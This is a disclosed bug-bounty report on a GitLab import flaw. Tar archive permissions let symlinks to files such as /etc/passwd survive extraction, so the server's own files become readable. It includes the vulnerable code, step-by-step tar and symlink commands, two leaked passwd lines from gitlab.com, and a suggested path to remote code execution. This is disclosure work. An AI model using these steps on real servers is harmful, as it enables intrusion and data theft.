Skip to content

Reading local files by abusing tar permissions in Gitlab Imports (Possibly leading to RCE)

HackerOne report #464449 by mishre on 2018-12-18:

Summary: Due to the way tar archives are processed when using the "tar" command it is possible for an attacker to craft a special formatted .tar file in order to bypass the symlink removing process when importing archives.

Description: When creating a project there exists an option to create a project from a .tar.gz import (that is supposed to be a previously extracted archive). When the tar is extracted the symlinks inside it get removed using the following code:

      def remove_symlinks
        extracted_files.each do |path|
          FileUtils.rm(path) if File.lstat(path).symlink?
        end

        true
      end

and the extracted_files are defined as:


      def extracted_files
        Dir.glob("#{@shared.export_path}/**/*", File::FNM_DOTMATCH).reject { |f| IGNORED_FILENAMES.include?(File.basename(f)) }
      end

This means that any file that we can find when listing files under the export_path should be verified to see if it is actually a symlink. However, the way Unix tar command works is that it preserves the unix permssions assigned to it while creating the archive (UPON EXTRACTION!). So, if we create a parent directory on the tar archive for which no one have read permissions (set the chmod to 300 - write and execute) while creating sub directory for the uploads with the complete permissions(set the chmod to 700), we will be able to include symlinks inside the uploads directory which will not be found when performing the "Dir.glob" command, but will be found when performing the uploads restore:

      def restore
        Dir["#{uploads_export_path}/**/*"].each do |upload|
          next if File.directory?(upload)

          add_upload(upload)
        end

since we have read permissions on the subdirectory.

I have attached the .tar.gz file I have used in order to perform the attack and also here is the last 2 lines of the /etc/passwd file of gitlab.com as a proof of concept:

pdam:x:1060:1060::/home/pdam:/bin/bash
nikolays:x:1061:1061::/home/nikolays:/bin/bash

Steps To Reproduce:

  1. Create a project export and download it (make sure that you upload an attachement to one of the issues named file before exporting so we have a complete .tar structure).
  2. Create a new directory on your linux machine using:
mkdir test 
  1. Browse to it and create an empty tar archive with no read permissions on the root folder:
cd test
tar cf a.tar . --mode=300
  1. extract the downloaded tar archive to the test folder and run the following commands (in order to create a valid tar archive):
tar -rf a.tar VERSION
tar -rf a.tar project.json

this will add the VERSION and project.json files to the archive (with normal permissions) 5) In your uploads folder browse to one of the subfolders and change one of the files to symlink by:

cd uploads\{obj-id}\
rm file.txt
ln -s /etc/passwd file.txt
  1. finally, include the symlink in your tar and gzip it:
tar -rf a.tar uploads
gzip a.tar
  1. import the project by uploading the created a.tar.gz and go to the file.txt on the server, the /etc/passwd contents should appear. If you are uploading my poc .tar.gz upon importing simply browse to issues -> the aa issue -> click on the -SECOND- yahoo.com.txt link. The /etc/passwd files contents should be downloaded.

Impact

I was able to read any file on the server, and I believe it can be escalated to rce via ssh by using the same method described here: https://blog.nyangawa.me/jekyll/update/2018/08/22/CVE-2018-14364-Gitlab-RCE.html .

Attachments

Warning: Attachments received through HackerOne, please exercise caution!